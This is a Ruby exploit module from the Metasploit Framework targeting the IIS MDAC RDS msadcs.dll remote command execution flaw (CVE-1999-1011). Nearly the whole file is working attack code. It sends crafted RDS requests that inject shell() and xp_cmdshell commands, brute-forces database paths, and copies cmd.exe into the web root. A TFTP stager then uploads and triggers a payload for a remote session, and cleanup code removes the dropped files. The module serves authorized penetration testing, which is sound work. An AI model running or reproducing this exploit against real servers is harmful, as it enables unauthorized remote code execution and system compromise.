metasploit-framework/modules/exploits/windows/iis/msadc.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex/proto/tftp'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::CmdStagerTFTP

	def initialize
		super(
			'Name'           => 'Microsoft IIS MDAC msadcs.dll RDS Arbitrary Remote Command Execution',
			'Description'    => %q{
					This module can be used to execute arbitrary commands on IIS servers
					that expose the /msadc/msadcs.dll Microsoft Data Access Components
					(MDAC) Remote Data Service (RDS) DataFactory service using VbBusObj
					or AdvancedDataFactory to inject shell commands into Microsoft Access
					databases (MDBs), MSSQL databases and ODBC/JET Data Source Name (DSN).
					Based on the msadcs.pl v2 exploit by Rain.Forest.Puppy, which was actively
					used in the wild in the late Ninties. MDAC versions affected include MDAC
					1.5, 2.0, 2.0 SDK, 2.1 and systems with the MDAC Sample Pages for RDS
					installed, and NT4 Servers with the NT Option Pack installed or upgraded
					2000 systems often running IIS3/4/5 however some vulnerable installations
					can still be found on newer Windows operating systems. Note that newer
					releases of msadcs.dll can still be abused however by default remote
					connections to the RDS is denied. Consider using VERBOSE if you're unable
					to successfully execute a command, as the error messages are detailed
					and useful for debugging. Also set NAME to obtain the remote hostname,
					and METHOD to use the alternative VbBusObj technique.
			},
			'Author'         => 'patrick',
			'Platform'       => 'win',
			'References'     =>
				[
					['OSVDB', '272'],
					['BID', '529'],
					['CVE', '1999-1011'],
					['MSB', 'MS98-004'],
					['MSB', 'MS99-025']
				],
			'Targets'        =>
				[
					# patrickw tested meterpreter OK 20120601
					# nt4server w/sp3, ie4.02, option pack, IIS4.0, mdac 1.5, over msaccess shell, reverse_nonx
					# w2k w/sp0, IIS5.0, mdac 2.7 RTM, sql2000, handunsf.reg, over xp_cmdshell, reverse_tcp
					[ 'Automatic', { } ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jul 17 1998'
		)

		register_options(
			[
				OptString.new('PATH', [ true,  "The path to msadcs.dll", '/msadc/msadcs.dll']),
				OptBool.new('METHOD', [ true,  "If true, use VbBusObj instead of AdvancedDataFactory", false]),
				OptBool.new('NAME', [ true,  "If true, attempt to obtain the MACHINE NAME", false]),
				OptString.new('DBHOST', [ true,  "The SQL Server host", 'local']),
				OptString.new('DBNAME', [ true,  "The SQL Server database", 'master']),
				OptString.new('DBUID', [ true,  "The SQL Server uid (default is sa)", 'sa']),
				OptString.new('DBPASSWORD', [ false,  "The SQL Server password (default is blank)", '']),
			], self.class)
	end

	def check
		res = send_request_raw({
				'uri'          =>  normalize_uri(datastore['PATH']),
				'method'       => 'GET',
			})
		if (res.code == 200)
			print_status("Server responded with HTTP #{res.code} OK")
			if (res.body =~ /Content-Type: application\/x-varg/)
				print_good("#{datastore['PATH']} matches fingerprint application\/x-varg")
				Exploit::CheckCode::Detected
			end
		else
			Exploit::CheckCode::Safe
		end
	end

	def create_dsn(drive, dsn)
		req = "/scripts/tools/newdsn.exe?driver=Microsoft\%2BAccess\%2BDriver\%2B\%28*.mdb\%29\&dsn=#{dsn}\&dbq=#{drive}\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr="

		res = send_request_raw({
			'uri' => req,
		})

		if (res and res.code == 200 and res.body =~ /<H2>Datasource creation <B>FAILED!  The most likely cause is invalid attributes<\/B><\/H2>/)
			vprint_error("DSN CREATE failed for drive #{drive} with #{dsn}.")
			return false
		elsif (res.code == 200 and res.body =~ /<H2>Datasource creation successful<\/H2>/)
			print_good("DSN CREATE SUCCESSFUL for drive #{drive} with #{dsn}!")
			return true
		end
	end

	def exec_cmd(sql, cmd, d)
		boundary = rand_text_alphanumeric(8)
		method 	 = datastore['METHOD'] ? "VbBusObj.VbBusObjCls.GetRecordset" : "AdvancedDataFactory.Query"
		dsn 	 = Rex::Text.to_unicode(d)
		if (d  =~ /driver=\{SQL Server\}/)
			select = Rex::Text.to_unicode(sql + '"' + cmd + '"')
		elsif (cmd.nil?)
			select = Rex::Text.to_unicode(sql)
		else
			select = Rex::Text.to_unicode(sql+ "'|shell(\"" + cmd + "\")|'")
		end

		vprint_status("Attempting to request: #{select} on #{d}")

		query = "\x02\x00\x03\x00\x08\x00#{[select.size].pack('S')}\x00\x00#{select}\x08\x00#{[dsn.size].pack('S')}\x00\x00#{dsn}"

		sploit  = "--#{boundary}\r\n"
		sploit << "Content-Type: application/x-varg\r\n"
		sploit << "Content-Length: #{query.length}\r\n\r\n"
		sploit << query
		sploit << "\r\n--#{boundary}--\r\n"

		data = "ADCClientVersion:01.06\r\n"
		data << 'Content-Type: multipart/mixed; boundary=' + boundary +'; num-args=3'
		data << "\r\n\r\n"
		data << sploit

		res = send_request_raw({
			'uri'          => normalize_uri(datastore['PATH']) + '/' + method,
			'agent' => 'ACTIVEDATA',
			'headers' =>
				{
					'Content-Length' => data.length,
					'Connection' => "Keep-Alive",
				},
			'method'       => 'POST',
			'data'         => data,
		})

		response = Rex::Text.to_ascii(res.body, 'utf-16be')

		if (response =~ /HTTP:\/\/www.microsoft.com\/activex.vip\/adofx/ || res.body =~ /o.u.t.p.u.t./)
			vprint_good("Command was successfully executed! Statement: #{select} Driver: #{d}")
			return true, sql, d
		elsif (response =~ /RDS Server Error: The server has denied access to the default RDS Handler used to access this page. See the Server Administrator for more information about server security settings./)
			print_error("Exploit failed: the server is patched")
			return # we cannot continue - server refuses to accept RDS traffic from remote IPs. bail.
		elsif (response =~ /The Microsoft Jet database engine cannot find the input table or query \'(\w+)\'/)
			vprint_error("Server is vulnerable but Microsoft Jet database cannot find table: #{$1}")
		elsif (response =~ /isn't a valid path/ || response =~ /is not a valid path/ || response =~ /Could not find file/)
			vprint_error("Server is vulnerable but the drive and path is incorrect.")
		elsif (response =~ /Disk or network error./)
			vprint_error("Server is vulnerable but the driver letter doesn't physically exist.")
		elsif (response =~ /Syntax error in CREATE TABLE statement/)
			vprint_error("Server is vulnerable and the database exists however the CREATE TABLE command failed.")
		elsif (response =~ /Table '(\w+)' already exists/)
			vprint_error("Server is vulnerable and the database exists however the TABLE '#{$1}' already exists!")
		elsif (response =~ /Syntax error \(missing operator\) in query expression/)
			vprint_error("Server is vulnerable and the database and table exists however the SELECT statement has a syntax error.")
		elsif (response =~ /Too few parameters. Expected 1/)
			print_good("Command was probably executed!")
		elsif (response =~ /Data source name not found and no default driver specified/)
			vprint_error("Server is vulnerable however the requested DSN '#{d}' does not exist.")
		elsif (response =~ /Couldn't find file/)
			vprint_error("Server is vulnerable however the requested .mdb file does not exist.")
		elsif (response =~ /Specified SQL server not found/)
			vprint_error("Server is vulnerable however the specified Microsoft SQL Server does not exist")
		elsif (response =~ /Server does not exist or access denied/)
			vprint_error("Server is vulnerable however the specified Microsoft SQL Server does not exist or access is denied")
		elsif (response =~ /General error Unable to open registry key/)
			vprint_error("Server error (possible misconfiguration): Unable to open registry key ")
		elsif (response =~ /It is in a read-only database/)
			vprint_error("Server accepted request however the requested .mdb is READ-ONLY")
		elsif (response =~ /Invalid connection/)
			vprint_error("Server accepted request however the MSSQL database says Invalid connection")
		elsif (response =~ /\[SQL Server\]Login failed for user/)
			vprint_error("Server accepted request however the MSSQL database uid / password credentials are incorrect.")
		elsif (response =~ /EXECUTE permission denied on object 'xp_cmdshell'/)
			vprint_error("Server accepted request and MSSQL uid/pass is correct however the UID does not have permission to execute xp_cmdshell!")
		elsif (response =~ /\"(...)\"/) # we use rand_text_alphanumeric for 'table'. response is '"<table>" <table>' but means nothing to me. regexp is a little lazy however the unicode response doesn't give us much to work with; we only know it is 3 bytes long and quoted which should be unique.
			vprint_error("Server accepted request however it failed for reasons unknown.")
		elsif (res.body =~ /\x09\x00\x01/) # magic bytes? rfp used it too :P maybe a retval?
			vprint_error("Unknown reply - but the command didn't execute")
		else
			vprint_status("Unknown reply - server is likely patched:\n#{response}")
		end
		return false
	end

	def find_exec
		# config data - greets to rain forest puppy :)
		boundary = rand_text_alphanumeric(8)

		if (datastore['NAME']) # Obtain the hostname if true

			data = "ADCClientVersion:01.06\r\n"
			data << 'Content-Type: multipart/mixed; boundary=' + boundary +'; num-args=0'
			data << "\r\n\r\n--#{boundary}--\r\n"

			res = send_request_raw({
			'uri'     => normalize_uri(datastore['PATH']) + '/VbBusObj.VbBusObjCls.GetMachineName',
			'agent'   => 'ACTIVEDATA',
			'headers' =>
				{
					'Content-Length' => data.length,
					'Connection' => "Keep-Alive",
				},
			'method'       => 'POST',
			'data'         => data,

			})

			if (res.code == 200 and res.body =~ /\x01(.+)/) # Should return the hostname
				print_good("Hostname: #{$1}")
			end
		end

		drives	= ["c","d","e","f","g","h"]
		sysdirs = ['winnt', 'windows', 'win', 'winnt351', 'winnt35' ]
		dsns 	= ["AdvWorks", "pubs", "wicca", "CertSvr", "CFApplications", "cfexamples","CFForums",
			"CFRealm", "cfsnippets", "UAM", "banner", "banners", "ads", "ADCDemo", "ADCTest"]

		sysmdbs = [     "\\catroot\\icatalog.mdb", #these are %systemroot%
				"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
				"\\system32\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
				"\\system32\\certmdb.mdb",
				"\\system32\\ias\\ias.mdb",
				"\\system32\\ias\\dnary.mdb",
				"\\system32\\certlog\\certsrv.mdb" ]

		mdbs = [	"\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", #these are non-windows
				"\\cfusion\\cfapps\\forums\\forums_.mdb",
				"\\cfusion\\cfapps\\forums\\data\\forums.mdb",
				"\\cfusion\\cfapps\\security\\realm_.mdb",
				"\\cfusion\\cfapps\\security\\data\\realm.mdb",
				"\\cfusion\\database\\cfexamples.mdb",
				"\\cfusion\\database\\cfsnippets.mdb",
				"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
				"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
				"\\cfusion\\brighttiger\\database\\cleam.mdb",
				"\\cfusion\\database\\smpolicy.mdb",
				"\\cfusion\\database\\cypress.mdb",
				"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
				"\\website\\cgi-win\\dbsample.mdb",
				"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
				"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
			]

		print_status("Step 1: Trying raw driver to btcustmr.mdb")

		drives.each do |drive|
			sysdirs.each do |sysdir|
				ret = exec_cmd("Select * from Customers where City=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}\\help\\iis\\htm\\tutorial\\btcustmr.mdb;")
				return ret if (ret)
			end
		end

		print_status("Step 2: Trying to make our own DSN...")
		x = false # Stop if we make a DSN
		drives.each do |drive|
			dsns.each do |dsn|
				unless x
				x = create_dsn(drive, dsn)
				end
			end
		end

		table = rand_text_alphanumeric(3)
		print_status("Step 3: Trying to create a new table in our own DSN...")
		exec_cmd("create table #{table} (B int, C varchar(10))", nil, "driver={Microsoft Access Driver (*.mdb)};dbq=c:\\sys.mdb;") # this is general make table query

		print_status("Step 4: Trying to execute our command via our own DSN and table...")
		ret = exec_cmd("select * from #{table} where C=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=c:\\sys.mdb;") # this is general exploit table query
		return ret if (ret)

		print_status("Step 5: Trying to execute our command via known DSNs...")
		dsns.each do |dsn|
			ret = exec_cmd("select * from MSysModules where name=", "cmd /c echo x", dsn) # this is table-independent query (new)
			return ret if (ret)
		end

		print_status("Step 6: Trying known system .mdbs...")
		drives.each do |drive|
			sysdirs.each do |sysdir|
				sysmdbs.each do |sysmdb|
					exec_cmd("create table #{table} (B int, C varchar(10))", nil, "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}#{sysmdb};")
					ret = exec_cmd("select * from #{table} where C=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}#{sysmdb};")
					return ret if (ret)
				end
			end
		end

		print_status("Step 7: Trying known program file .mdbs...")
		drives.each do |drive|
			mdbs.each do |mdb|
				exec_cmd("create table #{table} (B int, C varchar(10))", nil, "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:#{mdb};")
				ret = exec_cmd("select * from #{table} where C=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:#{mdb};")
				return ret if (ret)
			end
		end

		print_status("Step 8: Trying SQL xp_cmdshell method...")
		ret = exec_cmd("EXEC master..xp_cmdshell", "cmd /c echo x", "driver={SQL Server};server=(#{datastore['DBHOST']});database=#{datastore['DBNAME']};uid=#{datastore['DBUID']};pwd=#{datastore['DBPASSWORD']}") # based on hdm's sqlrds.pl :)
		return ret if (ret)

		return -1
	end

	def exploit
		print_status("Searching for valid command execution point...")
		x = false
		until (x)
			x,y,z =find_exec
			if (x == -1)
				break
			end
		end

		if (x == true)
			print_good("Successful command execution found!")

			# now copy the file
			exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
			print_status("Copying cmd.exe to the web root as \"#{exe_fname}\"...")
			# NOTE: this assumes %SystemRoot% on the same drive as the web scripts directory
			# Unfortunately, using %SystemRoot% doesn't seem to work :(
			res = exec_cmd(y, "cmd /c copy cmd.exe \\inetpub\\scripts\\#{exe_fname}", z)

			# Use the CMD stager to get a payload running
			execute_cmdstager({ :temp => '.', :linemax => 1400, :cgifname => exe_fname })

			# Save these file names for later deletion
			@exe_cmd_copy = exe_fname
			@exe_payload = payload_exe

			# Just for good measure, we'll make a quick, direct request for the payload
			# Using the "start" method doesn't seem to make iis very happy :(
			print_status("Triggering the payload via a direct request...")
			res = send_request_raw({ 'uri' => '/scripts/' + payload_exe, 'method' => 'GET' }, 1)
		end

		handler

	end

	#
	# The following handles deleting the copied cmd.exe and payload exe!
	#
	def on_new_session(client)

		if client.type != "meterpreter"
			print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
			print_error("The copied exe and the payload exe must be removed manually.")
			return
		end

		return if not @exe_cmd_copy

		# stdapi must be loaded before we can use fs.file
		client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")

		# Delete the copied CMD.exe
		print_status("Deleting copy of CMD.exe \"#{@exe_cmd_copy}\" ...")
		client.fs.file.rm(@exe_cmd_copy)

		# Migrate so  that we can delete the payload exe
		client.console.run_single("run migrate -f")

		# Delete the payload exe
		return if not @exe_payload

		delete_me_too = "C:\\inetpub\\scripts\\" + @exe_payload # C:\ ?

		print_warning("Changing permissions on #{delete_me_too} ...")
		cmd = "C:\\#{sysdir[0]}\\system32\\attrib.exe -r -h -s " + delete_me_too # winnt ?
		client.sys.process.execute(cmd, nil, {'Hidden' => true })

		print_warning("Deleting #{delete_me_too} ...")
		begin
			client.fs.file.rm(delete_me_too)
		rescue ::Exception => e
			print_error("Exception: #{e.inspect}")
		end
	end

	def cleanup
		framework.events.remove_exploit_subscriber(self)
	end

	def execute_command(cmd, opts = {})
		# Don't try the start command...
		# Using the "start" method doesn't seem to make iis very happy :(
		return [nil,nil] if cmd =~ /^start [a-zA-Z]+\.exe$/

		print_status("Executing command: #{cmd} (options: #{opts.inspect})")

		uri = '/scripts/'
		exe = opts[:cgifname]
		if (exe)
			uri << exe
		end
		uri << '?/x+/c+'
		uri << Rex::Text.uri_encode(cmd)

		vprint_status("Attempting to execute: #{uri}")

		res = send_request_raw({
				'uri'     => uri,
				'method'  => 'GET',
			})
	end

end